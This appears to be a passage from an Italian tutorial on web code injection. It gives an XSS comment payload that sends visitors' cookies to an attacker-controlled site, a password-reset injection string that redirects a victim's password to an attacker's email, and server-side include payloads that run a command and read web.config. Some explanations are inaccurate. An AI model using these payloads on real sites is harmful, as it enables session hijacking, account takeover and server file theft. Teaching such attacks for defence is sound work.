Come per gli altri argomenti, anche l'iniezione di codice richiederebbe più spazio per essere affrontata completamente. Diciamo che la tecnica code injection può servire per dotare l'applicativo bersaglio di "nuove funzionalità" sia buone che meno buone.
Un esempio semplice e immediato per comprendere un attacco basato sull'iniezione di codice. In un forum, per tutti gli utenti autenticati è possibile inserire commenti. Mi connetto al forum e inserisco il mio commento:
Ciao!Sono nuovo del forum, non vorreste darmi qualche cookie?'><script>document.location='http://miosito.com/scriptcookie.cgi?' +document.cookie</script>
Che succede se il sito dovesse risultare vulnerabile? Succede che il cookie (che mantiene la sessione, ricordate le sessioni?) dell'utente viene inviato all'url http://miosito.com. Nella fattispecie il cookie viene inviato allo script cookie.cgi, da me approntato, che lo riceve come parametro e lo salva in un db. Il cookie sarà poi recuperato e lo utilizzerò per entrare nel sito impersonando l'utente che, ignaro, mi ha fornito il suo cookie.
Un secondo esempio, un attacco a metà tra l'attacco alla logica e l'iniezione di codice, potrebbe essere "exploitare la funzionalità recupera password".
Questa funzionalità permette all'utente di inserire il proprio indirizzo e-mail per ricevere dal sistema la password dimenticata. Il sistema, ricevuto l'indirizzo e-mail, verifica l'esistenza dell'indirizzo di posta digitato e invia l'e-mail contenente la password. Questo sistema implementa almeno 2 step,
- La verifica dell'esistenza dell'indirizzo email
- L'invio del messaggio.
Possiamo supporre che la verifica venga fatta tramite un interrogazione al database e l'invio tramite uno script lato server. Fatte le necessarie valutazioni sulla presunta struttura e sulle tecnologie utilizzate possiamo tentare quanto segue:
Nella casella di testo, inseriamo l'indirizzo (utentecorretto@sitook.it) dell'utente che richiede la password, seguito da una stringa opportunamente formattata che generi la terminazione della query (in questo modo il passaggio del controllo della presenza dell'e-mail sul database avviene senza problemi) seguito dalla nostra e-mail!
La stringa da inserire nella casella di testo potrebbe essere questa :
utentecorretto@sitook.it " -- ; utenteaggressore@pentest.it
Scrivo l'email dell'utente esistente del quale vogliamo conoscere la password Suppongo che la query sul db sia del tipo:
Select email,utente,password from tabella_utenti where email = "& parametro &"
Dove parametro = utentecorretto@sitook.it
I caratteri -- terminano la stringa e la query restituirà un valore. Se lo script prenderà la stringa che ho inserito per inviare la mail, la procedura avrà come mittente (e destinatario) il nostro indirizzo di posta elettronica..
Ssi (server side include) injection
Un ultimo esempio di iniezione di codice che ci permette di ottenere buoni risultati. Le pagine di una applicazione web vengono processate dal server che restituisce l'informazione richiesta. Capita a volte che la pagina modifichi il suo contenuto in base all'input utente, considerando quindi attendibili le informazioni (e tra queste anche le inclusioni server side) provenienti dal client.
Un attacco ssi injection fa parte della classe di attacchi di iniezione di codice. Esempi:
< !--#exec cmd="/bin/ls /" -- >
Esegue una shell in un sistema unix like posizionandosi sul percorso bin/ls
<!--#INCLUDE VIRTUAL="/web.config"-->
Permette l'accesso al file web.config di un'applicazione .Net.
La classe di attacchi basati sull'iniezione di codice è estremamente vasta, in questa sede per motivi di spazio e di argomento trattato ho preferito richiamare solo alcune possibili varianti, lascio al lettore la curiosità di approfondire questo argomento.